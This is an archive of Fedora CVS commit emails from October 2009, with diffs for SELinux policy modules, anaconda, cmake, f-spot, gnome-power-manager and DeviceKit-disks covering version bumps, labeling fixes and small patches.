++/etc/privoxy/[^/]*\.action --	gen_context(system_u:object_r:privoxy_etc_rw_t,s0)
+ /etc/rc\.d/init\.d/privoxy --	gen_context(system_u:object_r:privoxy_initrc_exec_t,s0)
+ 
+ /usr/sbin/privoxy	--	gen_context(system_u:object_r:privoxy_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/privoxy.te serefpolicy-3.6.32/policy/modules/services/privoxy.te
 --- nsaserefpolicy/policy/modules/services/privoxy.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/privoxy.te	2009-09-30 16:12:48.000000000 -0400
@@ -21132,7 +21181,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/lib/pam_devperm/:0	--	gen_context(system_u:object_r:xdm_var_lib_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/xserver.if serefpolicy-3.6.32/policy/modules/services/xserver.if
 --- nsaserefpolicy/policy/modules/services/xserver.if	2009-09-09 15:37:17.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/xserver.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/xserver.if	2009-10-13 17:35:30.000000000 -0400
 @@ -211,6 +211,7 @@
  	relabel_dirs_pattern($2, user_fonts_config_t, user_fonts_config_t)
  	relabel_files_pattern($2, user_fonts_config_t, user_fonts_config_t)
@@ -22955,8 +23004,16 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/authlogin.te serefpolicy-3.6.32/policy/modules/system/authlogin.te
 --- nsaserefpolicy/policy/modules/system/authlogin.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/authlogin.te	2009-09-30 16:12:48.000000000 -0400
-@@ -125,9 +125,18 @@
++++ serefpolicy-3.6.32/policy/modules/system/authlogin.te	2009-10-13 18:05:10.000000000 -0400
+@@ -103,6 +103,7 @@
+ 
+ fs_dontaudit_getattr_xattr_fs(chkpwd_t)
+ 
++term_dontaudit_use_console(chkpwd_t)
+ term_dontaudit_use_unallocated_ttys(chkpwd_t)
+ term_dontaudit_use_generic_ptys(chkpwd_t)
+ 
+@@ -125,9 +126,18 @@
  ')
  
  optional_policy(`
@@ -26705,7 +26762,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/sysnetwork.te serefpolicy-3.6.32/policy/modules/system/sysnetwork.te
 --- nsaserefpolicy/policy/modules/system/sysnetwork.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/sysnetwork.te	2009-10-07 14:46:28.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/sysnetwork.te	2009-10-13 11:04:29.000000000 -0400
 @@ -20,6 +20,9 @@
  init_daemon_domain(dhcpc_t, dhcpc_exec_t)
  role system_r types dhcpc_t;
@@ -26762,7 +26819,7 @@ diff -b -B --ignore-all-space --exclude-
  kernel_use_fds(dhcpc_t)
  
  corecmd_exec_bin(dhcpc_t)
-@@ -107,11 +115,13 @@
+@@ -107,14 +115,17 @@
  # for SSP:
  dev_read_urand(dhcpc_t)
  
@@ -26777,7 +26834,11 @@ diff -b -B --ignore-all-space --exclude-
  files_search_home(dhcpc_t)
  files_search_var_lib(dhcpc_t)
  files_dontaudit_search_locks(dhcpc_t)
-@@ -183,25 +193,23 @@
++files_getattr_generic_locks(dhcpc_t)
+ 
+ fs_getattr_all_fs(dhcpc_t)
+ fs_search_auto_mountpoints(dhcpc_t)
+@@ -183,25 +194,23 @@
  ')
  
  optional_policy(`
@@ -26811,7 +26872,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -212,6 +220,7 @@
+@@ -212,6 +221,7 @@
  optional_policy(`
  	seutil_sigchld_newrole(dhcpc_t)
  	seutil_dontaudit_search_config(dhcpc_t)
@@ -26819,7 +26880,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -223,6 +232,10 @@
+@@ -223,6 +233,10 @@
  ')
  
  optional_policy(`
@@ -26830,7 +26891,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_read_xen_state(dhcpc_t)
  	kernel_write_xen_state(dhcpc_t)
  	xen_append_log(dhcpc_t)
-@@ -235,7 +248,6 @@
+@@ -235,7 +249,6 @@
  #
  
  allow ifconfig_t self:capability { net_raw net_admin sys_tty_config };
@@ -26838,7 +26899,7 @@ diff -b -B --ignore-all-space --exclude-
  allow ifconfig_t self:process ~{ ptrace setcurrent setexec setfscreate setrlimit execmem execheap execstack };
  allow ifconfig_t self:fd use;
  allow ifconfig_t self:fifo_file rw_fifo_file_perms;
-@@ -249,6 +261,8 @@
+@@ -249,6 +262,8 @@
  allow ifconfig_t self:sem create_sem_perms;
  allow ifconfig_t self:msgq create_msgq_perms;
  allow ifconfig_t self:msg { send receive };
@@ -26847,7 +26908,7 @@ diff -b -B --ignore-all-space --exclude-
  # Create UDP sockets, necessary when called from dhcpc
  allow ifconfig_t self:udp_socket create_socket_perms;
  # for /sbin/ip
-@@ -260,7 +274,9 @@
+@@ -260,7 +275,9 @@
  kernel_use_fds(ifconfig_t)
  kernel_read_system_state(ifconfig_t)
  kernel_read_network_state(ifconfig_t)
@@ -26857,7 +26918,7 @@ diff -b -B --ignore-all-space --exclude-
  kernel_rw_net_sysctls(ifconfig_t)
  
  corenet_rw_tun_tap_dev(ifconfig_t)
-@@ -269,15 +285,23 @@
+@@ -269,15 +286,23 @@
  # for IPSEC setup:
  dev_read_urand(ifconfig_t)
  
@@ -26882,7 +26943,7 @@ diff -b -B --ignore-all-space --exclude-
  
  files_dontaudit_read_root_files(ifconfig_t)
  
-@@ -294,6 +318,8 @@
+@@ -294,6 +319,8 @@
  
  seutil_use_runinit_fds(ifconfig_t)
  
@@ -26891,7 +26952,7 @@ diff -b -B --ignore-all-space --exclude-
  userdom_use_user_terminals(ifconfig_t)
  userdom_use_all_users_fds(ifconfig_t)
  
-@@ -330,8 +356,22 @@
+@@ -330,8 +357,22 @@
  ')
  
  optional_policy(`
@@ -30028,7 +30089,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/xen.te serefpolicy-3.6.32/policy/modules/system/xen.te
 --- nsaserefpolicy/policy/modules/system/xen.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/xen.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/xen.te	2009-10-13 16:47:27.000000000 -0400
 @@ -6,6 +6,13 @@
  # Declarations
  #
@@ -30220,7 +30281,7 @@ diff -b -B --ignore-all-space --exclude-
  #
  
  allow xm_t self:capability { dac_override ipc_lock sys_tty_config };
-+allow xm_t self:process signal;
++allow xm_t self:process { getshed signal };
  
  # internal communication is often done using fifo and unix sockets.
  allow xm_t self:fifo_file rw_fifo_file_perms;


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.942
retrieving revision 1.943
diff -u -p -r1.942 -r1.943
--- selinux-policy.spec	12 Oct 2009 13:39:10 -0000	1.942
+++ selinux-policy.spec	13 Oct 2009 22:13:45 -0000	1.943
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 25%{?dist}
+Release: 26%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -449,6 +449,9 @@ exit 0
 %endif
 
 %changelog
+* Tue Oct 13 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-26
+- Fix labeling for privoxy config files
+
 * Mon Oct 12 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-25
 - Fix alias for execmem_exec_t
 - Dontaudit hal leakage



From dcantrel at fedoraproject.org  Tue Oct 13 22:17:45 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Tue, 13 Oct 2009 22:17:45 +0000 (UTC)
Subject: rpms/anaconda/F-12 .cvsignore, 1.679, 1.680 anaconda.spec, 1.829,
	1.830 sources, 1.813, 1.814
Message-ID: <20091013221745.9992F11C00E8@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/anaconda/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31139

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Tue Oct 13 2009 David Cantrell <dcantrell at redhat.com> - 12.38-1
- Remove extra echo in 'make rpmlog'. (dcantrell)
- Do not traceback if network device doesn't have HwAddress property
  (#506013). (rvykydal)
- Fix liveinst to (1) not unmount /dev/pts, (2) unmount in order (509632).
  (clumens)
- Do not read DASD data from /tmp/install.cfg in booty (#526354). (dcantrell)
- Fix task selection when tasks contain the same group. (#528193) (notting)
- Update drivelist with bootloader --driveorder ks option instead of
  replacing it (#506073). (rvykydal)
- Use ID_SERIAL to write multipath.conf, but ID_SERIAL_SHORT for UI. (pjones)
- Handle Installation Repo (base repo) as any other in repo edit UI.
  (rvykydal)
- Fix methodstr editing dialog. (rvykydal)
- Store methodstr url of repo (#502208, #526022). (rvykydal)
- Show user of which repository he edits the url (methodstr editing).
  (rvykydal)
- Don't traceback with malformed repo= nfs: parameter. (rvykydal)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/.cvsignore,v
retrieving revision 1.679
retrieving revision 1.680
diff -u -p -r1.679 -r1.680
--- .cvsignore	12 Oct 2009 22:43:23 -0000	1.679
+++ .cvsignore	13 Oct 2009 22:17:45 -0000	1.680
@@ -1 +1 @@
-anaconda-12.37.tar.bz2
+anaconda-12.38.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/anaconda.spec,v
retrieving revision 1.829
retrieving revision 1.830
diff -u -p -r1.829 -r1.830
--- anaconda.spec	12 Oct 2009 22:43:23 -0000	1.829
+++ anaconda.spec	13 Oct 2009 22:17:45 -0000	1.830
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 12.37
+Version: 12.38
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -215,6 +215,25 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Tue Oct 13 2009 David Cantrell <dcantrell at redhat.com> - 12.38-1
+- Remove extra echo in 'make rpmlog'. (dcantrell)
+- Do not traceback if network device doesn't have HwAddress property
+  (#506013). (rvykydal)
+- Fix liveinst to (1) not unmount /dev/pts, (2) unmount in order (509632).
+  (clumens)
+- Do not read DASD data from /tmp/install.cfg in booty (#526354). (dcantrell)
+- Fix task selection when tasks contain the same group. (#528193) (notting)
+- Update drivelist with bootloader --driveorder ks option instead of
+  replacing it (#506073). (rvykydal)
+- Use ID_SERIAL to write multipath.conf, but ID_SERIAL_SHORT for UI. (pjones)
+- Handle Installation Repo (base repo) as any other in repo edit UI.
+  (rvykydal)
+- Fix methodstr editing dialog. (rvykydal)
+- Store methodstr url of repo (#502208, #526022). (rvykydal)
+- Show user of which repository he edits the url (methodstr editing).
+  (rvykydal)
+- Don't traceback with malformed repo= nfs: parameter. (rvykydal)
+
 * Mon Oct 12 2009 David Cantrell <dcantrell at redhat.com> - 12.37-1
 - Missing volume_key shouldn't break LUKS support completely. (#526899)
   (dlehman)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/sources,v
retrieving revision 1.813
retrieving revision 1.814
diff -u -p -r1.813 -r1.814
--- sources	12 Oct 2009 22:43:23 -0000	1.813
+++ sources	13 Oct 2009 22:17:45 -0000	1.814
@@ -1 +1 @@
-4b559bf4134368fcaf1f69cdee8df859  anaconda-12.37.tar.bz2
+98c4a581e2fde165f725d5053917e8a6  anaconda-12.38.tar.bz2



From orion at fedoraproject.org  Tue Oct 13 22:17:43 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Tue, 13 Oct 2009 22:17:43 +0000 (UTC)
Subject: rpms/cmake/devel .cvsignore, 1.30, 1.31 cmake.spec, 1.63,
	1.64 sources, 1.30, 1.31 cmake-2.8.0-vtk64.patch, 1.1, NONE
Message-ID: <20091013221743.7C7A911C00E8@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/cmake/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31123

Modified Files:
	.cvsignore cmake.spec sources 
Removed Files:
	cmake-2.8.0-vtk64.patch 
Log Message:
* Tue Oct 13 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.4.rc3
- Update to 2.8.0 RC 3
- Drop vtk64 patch fixed upstream



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cmake/devel/.cvsignore,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- .cvsignore	8 Oct 2009 23:05:19 -0000	1.30
+++ .cvsignore	13 Oct 2009 22:17:42 -0000	1.31
@@ -1 +1 @@
-cmake-2.8.0-rc2.tar.gz
+cmake-2.8.0-rc3.tar.gz


Index: cmake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cmake/devel/cmake.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- cmake.spec	9 Oct 2009 21:08:02 -0000	1.63
+++ cmake.spec	13 Oct 2009 22:17:43 -0000	1.64
@@ -4,11 +4,11 @@
 # Set to bcond_with or use --without gui to disable qt4 gui build
 %bcond_without gui
 # Set to RC version if building RC, else %{nil}
-%define rcver -rc2
+%define rcver -rc3
 
 Name:           cmake
 Version:        2.8.0
-Release:        0.3.rc2%{?dist}
+Release:        0.4.rc3%{?dist}
 Summary:        Cross-platform make system
 
 Group:          Development/Tools
@@ -16,9 +16,6 @@ License:        BSD
 URL:            http://www.cmake.org
 Source0:        http://www.cmake.org/files/v2.8/cmake-%{version}%{?rcver}.tar.gz
 Source2:        macros.cmake
-#Find UseVTK.cmake in /usr/lib64/vtk-* on 64-bit machines
-#http://public.kitware.com/mantis/view.php?id=9105
-Patch0:         cmake-2.8.0-vtk64.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  ncurses-devel, libX11-devel
@@ -53,7 +50,6 @@ The %{name}-gui package contains the Qt 
 
 %prep
 %setup -q -n %{name}-%{version}%{?rcver}
-%patch0 -p1 -b .vtk64
 # Fixup permissions
 find -name \*.h -o -name \*.cxx -print0 | xargs -0 chmod -x
 
@@ -137,6 +133,10 @@ update-mime-database %{_datadir}/mime &>
 
 
 %changelog
+* Tue Oct 13 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.4.rc3
+- Update to 2.8.0 RC 3
+- Drop vtk64 patch fixed upstream
+
 * Fri Oct 9 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.3.rc2
 - Do out of tree build, needed for ExternalProject test
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cmake/devel/sources,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- sources	8 Oct 2009 23:05:19 -0000	1.30
+++ sources	13 Oct 2009 22:17:43 -0000	1.31
@@ -1 +1 @@
-85c51602dd00184cdc6b15db0164330d  cmake-2.8.0-rc2.tar.gz
+7cc121a0199affa0697e11fbeefd00c3  cmake-2.8.0-rc3.tar.gz


--- cmake-2.8.0-vtk64.patch DELETED ---



From chkr at fedoraproject.org  Tue Oct 13 22:22:31 2009
From: chkr at fedoraproject.org (chkr)
Date: Tue, 13 Oct 2009 22:22:31 +0000 (UTC)
Subject: rpms/f-spot/F-10 0001-remove-support-for-older-cairo-version.patch, 
	NONE, 1.1 .cvsignore, 1.22, 1.23 f-spot.spec, 1.87, 1.88 sources,
	1.22, 1.23 0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch,
	1.1, NONE
Message-ID: <20091013222232.017FC11C00E8@cvs1.fedora.phx.redhat.com>

Author: chkr

Update of /cvs/pkgs/rpms/f-spot/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31865

Modified Files:
	.cvsignore f-spot.spec sources 
Added Files:
	0001-remove-support-for-older-cairo-version.patch 
Removed Files:
	0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch 
Log Message:
* Tue Oct 13 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.3-1
- Update to 0.6.1.3 (BZ 526217)
- Remove two upstreamed patches
- Use a slightly different fix for the cairo-devel dependency
  (suggested by upstream)


0001-remove-support-for-older-cairo-version.patch:
 configure.ac     |    3 ++-
 src/SoftFocus.cs |   21 ++++-----------------
 2 files changed, 6 insertions(+), 18 deletions(-)

--- NEW FILE 0001-remove-support-for-older-cairo-version.patch ---
>From 9c61aa6f334a94f077e63e3b82f1aeaa457dfe8a Mon Sep 17 00:00:00 2001
From: Christian Krause <chkr at plauener.de>
Date: Sun, 4 Oct 2009 20:30:18 +0200
Subject: [PATCH] remove support for older cairo version

- remove DllImport of cairo since it is not needed anymore
- remove special code for older cairo version
- check for cairo >= 1.4.0 in configure.ac
---
 configure.ac     |    3 ++-
 src/SoftFocus.cs |   20 ++++----------------
 2 files changed, 6 insertions(+), 17 deletions(-)

diff --git a/configure.ac b/configure.ac
index 22fcd86..7f82d8b 100644
--- a/configure.ac
+++ b/configure.ac
@@ -69,11 +69,12 @@ BEAGLE_REQUIRED=0.3.0
 NDESK_DBUS_REQUIRED=0.4.2
 NDESK_DBUS_GLIB_REQUIRED=0.3.0
 MONO_CAIRO_REQUIRED=1.2.4
+CAIRO_REQUIRED=1.4.0
 dnl -- this check is 	
 LCMS_REQUIRED=1.12
 dnl -- LIBGPHOTO2_REQUIRED=2.1.4
 
-PKG_CHECK_MODULES(F, libgnome-2.0 >= $LIBGNOME_REQUIRED libgnomeui-2.0 >= $LIBGNOMEUI_REQUIRED libexif >= $LIBEXIF_REQUIRED_MIN libexif < $LIBEXIF_REQUIRED_MAX gtk-sharp-2.0 >= $GTKSHARP_REQUIRED glib-sharp-2.0 >= $GTKSHARP_REQUIRED glade-sharp-2.0 >= $GTKSHARP_REQUIRED gnome-vfs-sharp-2.0 >= $GTKSHARP_REQUIRED gtk+-2.0 >= $GTK_REQUIRED mono >= $MONO_REQUIRED mono-cairo >= $MONO_CAIRO_REQUIRED)
+PKG_CHECK_MODULES(F, libgnome-2.0 >= $LIBGNOME_REQUIRED libgnomeui-2.0 >= $LIBGNOMEUI_REQUIRED libexif >= $LIBEXIF_REQUIRED_MIN libexif < $LIBEXIF_REQUIRED_MAX gtk-sharp-2.0 >= $GTKSHARP_REQUIRED glib-sharp-2.0 >= $GTKSHARP_REQUIRED glade-sharp-2.0 >= $GTKSHARP_REQUIRED gnome-vfs-sharp-2.0 >= $GTKSHARP_REQUIRED gtk+-2.0 >= $GTK_REQUIRED mono >= $MONO_REQUIRED mono-cairo >= $MONO_CAIRO_REQUIRED cairo >= $CAIRO_REQUIRED)
 AC_SUBST(F_CFLAGS)
 AC_SUBST(F_LIBS)
 
diff --git a/src/SoftFocus.cs b/src/SoftFocus.cs
index 86f2918..7291d5a 100644
--- a/src/SoftFocus.cs
+++ b/src/SoftFocus.cs
@@ -14,9 +14,6 @@ namespace FSpot.Widgets {
 
 	public class SoftFocus {
 
-		[DllImport ("cairo")]
-		internal static extern int cairo_version ();
-
 		ImageInfo info;
 		double radius;
 		double amount;
@@ -107,20 +104,11 @@ namespace FSpot.Widgets {
 
 			RadialGradient circle;
 
-			// FIXME ugh cairo 1.0.2 is so broken why are we still shipping it.
-			if (cairo_version () > (1 * 10000 + 2 * 100 + 0)) {
-				circle = new RadialGradient (center.X * scale, center.Y * scale, radius * max * .7,
-							     center.X * scale, center.Y * scale, radius * max + max * .2);
-
-				circle.AddColorStop (0, new Cairo.Color (0.0, 0.0, 0.0, 0.0));
-				circle.AddColorStop (1.0, new Cairo.Color (1.0, 1.0, 1.0, 1.0));
-			} else {
-				circle = new RadialGradient (center.X * scale, center.Y * scale, radius * max + max * .2,
-							     center.X * scale, center.Y * scale, radius * max * .7);
+			circle = new RadialGradient (center.X * scale, center.Y * scale, radius * max * .7,
+						     center.X * scale, center.Y * scale, radius * max + max * .2);
 
-				circle.AddColorStop (1.0, new Cairo.Color (0.0, 0.0, 0.0, 0.0));
-				circle.AddColorStop (0, new Cairo.Color (1.0, 1.0, 1.0, 1.0));
-			}
+			circle.AddColorStop (0, new Cairo.Color (0.0, 0.0, 0.0, 0.0));
+			circle.AddColorStop (1.0, new Cairo.Color (1.0, 1.0, 1.0, 1.0));
 			return circle;
 		}
 
-- 
1.6.0.6



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/F-10/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	27 Sep 2009 11:32:23 -0000	1.22
+++ .cvsignore	13 Oct 2009 22:22:30 -0000	1.23
@@ -1 +1 @@
-f-spot-0.6.1.2.tar.bz2
+f-spot-0.6.1.3.tar.bz2


Index: f-spot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/F-10/f-spot.spec,v
retrieving revision 1.87
retrieving revision 1.88
diff -u -p -r1.87 -r1.88
--- f-spot.spec	3 Oct 2009 09:24:57 -0000	1.87
+++ f-spot.spec	13 Oct 2009 22:22:31 -0000	1.88
@@ -1,26 +1,20 @@
 Name:           f-spot
-Version:        0.6.1.2
-Release:        2%{?dist}
+Version:        0.6.1.3
+Release:        1%{?dist}
 Summary:        Photo management application
 
 Group:          Applications/Multimedia
 License:        GPLv2+ and LGPLv2+ and CPL and MIT
 URL:            http://f-spot.org/
 Source0:        http://ftp.gnome.org/pub/gnome/sources/f-spot/0.6/f-spot-%{version}.tar.bz2
-# http://bugzilla.gnome.org/show_bug.cgi?id=593243
-Patch1:         0001-fix-parallel-build.patch
 # Use system mono-addins
 Patch2:         0001-use-system-Mono.Addins-if-available.patch
 # unmount cameras before importing
 Patch3:         0002-enhance-the-f-spot-import-script.patch
 # I'm told this is fixed in SVN
 Patch4:         f-spot-0.6.0.0-gtk-deprecated.patch
-# upstream patch to fix crash in facebook exporter:
-# commit 807dab4344ecdadc7e46793369821de8b49692e5
-# commit b87604bc9782bf92f053aaf3ceb739a32f44ea13
-Patch5:         facebook-exporter-duplicate-label-fix.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=596922
-Patch6:         0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch
+Patch6:         0001-remove-support-for-older-cairo-version.patch
 
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -73,12 +67,10 @@ photo collection in a slideshow as a scr
 %prep
 %setup -q
 
-%patch1 -p1 -b .parallel-build
 %patch2 -p1 -b .link-system-mono-addins
 %patch3 -p1 -b .gvfs-gphoto
 %patch4 -p1 -F 2 -b .gtk-deprecated
-%patch5 -p1 -b .faceboox-exporter-crash
-%patch6 -p1 -b .cairo-fix
+%patch6 -p1 -F 2 -b .cairo-fix
 
 %build
 autoreconf -f -i
@@ -152,6 +144,12 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/screensavers/f-spot-screensaver.desktop
 
 %changelog
+* Tue Oct 13 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.3-1
+- Update to 0.6.1.3 (BZ 526217)
+- Remove two upstreamed patches
+- Use a slightly different fix for the cairo-devel dependency
+  (suggested by upstream)
+
 * Sat Oct 03 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.2-2
 - Add patch to fix f-spot crash when using "soft focus" and cairo-devel
   was not installed (BZ 526563)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/F-10/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	27 Sep 2009 11:32:23 -0000	1.22
+++ sources	13 Oct 2009 22:22:31 -0000	1.23
@@ -1 +1 @@
-ca2960be13e3c1d2f15da175691d671a  f-spot-0.6.1.2.tar.bz2
+fbfef5c37c201f54b590f03d5b0000d5  f-spot-0.6.1.3.tar.bz2


--- 0001-use-mono-s-cairo-API-instead-of-using-DllImport.patch DELETED ---



From mclasen at fedoraproject.org  Tue Oct 13 22:23:06 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 13 Oct 2009 22:23:06 +0000 (UTC)
Subject: rpms/gnome-power-manager/F-12 cookie.patch, NONE,
	1.1 gnome-power-manager.spec, 1.175, 1.176
Message-ID: <20091013222306.29B4311C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-power-manager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31956

Modified Files:
	gnome-power-manager.spec 
Added Files:
	cookie.patch 
Log Message:
Fix a possible segfault


cookie.patch:
 gpm-disks.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE cookie.patch ---
diff -up gnome-power-manager-2.28.0/src/gpm-disks.c.cookie gnome-power-manager-2.28.0/src/gpm-disks.c
--- gnome-power-manager-2.28.0/src/gpm-disks.c.cookie	2009-10-13 18:19:04.176391449 -0400
+++ gnome-power-manager-2.28.0/src/gpm-disks.c	2009-10-13 18:19:15.790139458 -0400
@@ -95,7 +95,7 @@ gpm_disks_register (GpmDisks *disks, gui
 				 G_TYPE_INT, timeout,
 				 G_TYPE_STRV, options,
 				 G_TYPE_INVALID,
-				 G_TYPE_STRING, disks->priv->cookie,
+				 G_TYPE_STRING, &disks->priv->cookie,
 				 G_TYPE_INVALID);
 	if (!ret) {
 		egg_warning ("failed to set spindown timeout: %s", error->message);


Index: gnome-power-manager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/gnome-power-manager.spec,v
retrieving revision 1.175
retrieving revision 1.176
diff -u -p -r1.175 -r1.176
--- gnome-power-manager.spec	21 Sep 2009 12:43:33 -0000	1.175
+++ gnome-power-manager.spec	13 Oct 2009 22:23:05 -0000	1.176
@@ -5,7 +5,7 @@
 Summary: GNOME power management service
 Name: gnome-power-manager
 Version: 2.28.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 #Release: 0.5.%{?alphatag}git%{?dist}
 License: GPLv2+ and GFDL
 Group: Applications/System
@@ -46,6 +46,9 @@ Requires(post): GConf2
 Requires(preun): GConf2
 Requires(postun): scrollkeeper
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=598339
+Patch0: cookie.patch
+
 %description
 GNOME Power Manager uses the information and facilities provided by HAL
 displaying icons and handling user callbacks in an interactive GNOME session.
@@ -63,6 +66,7 @@ Extra GNOME power management application
 %prep
 %setup -q
 #%setup -q -n %{?name}-%{?version}-%{?alphatag}
+%patch0 -p1 -b .cookie
 
 %build
 %configure \
@@ -181,6 +185,9 @@ fi
 %{_datadir}/icons/hicolor/*/apps/gnome-inhibit-applet.*
 
 %changelog
+* Tue Oct 13 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
+- Fix possible segfault
+
 * Mon Sep 21 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 



From mclasen at fedoraproject.org  Tue Oct 13 22:26:27 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 13 Oct 2009 22:26:27 +0000 (UTC)
Subject: rpms/DeviceKit-disks/F-12 media-player.patch, NONE,
	1.1 DeviceKit-disks.spec, 1.36, 1.37
Message-ID: <20091013222627.B770C11C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/DeviceKit-disks/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv324

Modified Files:
	DeviceKit-disks.spec 
Added Files:
	media-player.patch 
Log Message:
give media players better icons


media-player.patch:
 95-devkit-disks.rules |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE media-player.patch ---
>From 710d11c61c5c2c5b6f69d8a8a8f85ef642c6fd59 Mon Sep 17 00:00:00 2001
From: Martin Pitt <martin.pitt at ubuntu.com>
Date: Tue, 13 Oct 2009 20:15:46 +0200
Subject: [PATCH 4/4] =?utf-8?q?Bug=2024499=20=E2=80=93=20media=20players=20have=20USB=20drive=20icon?=
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit

Set "media-player" icon for devices which have ID_MEDIA_PLAYER (as set by
media-player-info).
---
 data/95-devkit-disks.rules |    4 ++++
 1 files changed, 4 insertions(+), 0 deletions(-)

diff --git a/data/95-devkit-disks.rules b/data/95-devkit-disks.rules
index fbb85a0..e383e6c 100644
--- a/data/95-devkit-disks.rules
+++ b/data/95-devkit-disks.rules
@@ -91,6 +91,10 @@ ATTRS{idVendor}=="05e3", ATTRS{idProduct}=="070e", ENV{ID_INSTANCE}=="0:1", ENV{
 ATTRS{idVendor}=="05e3", ATTRS{idProduct}=="070e", ENV{ID_INSTANCE}=="0:2", ENV{ID_DRIVE_FLASH_SD}="1"
 ATTRS{idVendor}=="05e3", ATTRS{idProduct}=="070e", ENV{ID_INSTANCE}=="0:3", ENV{ID_DRIVE_FLASH_MS}="1"
 
+# Generic music player
+#
+ENV{ID_MEDIA_PLAYER}=="?*", ENV{DKD_PRESENTATION_ICON_NAME}="multimedia-player"
+
 # Apple iPod Video
 #
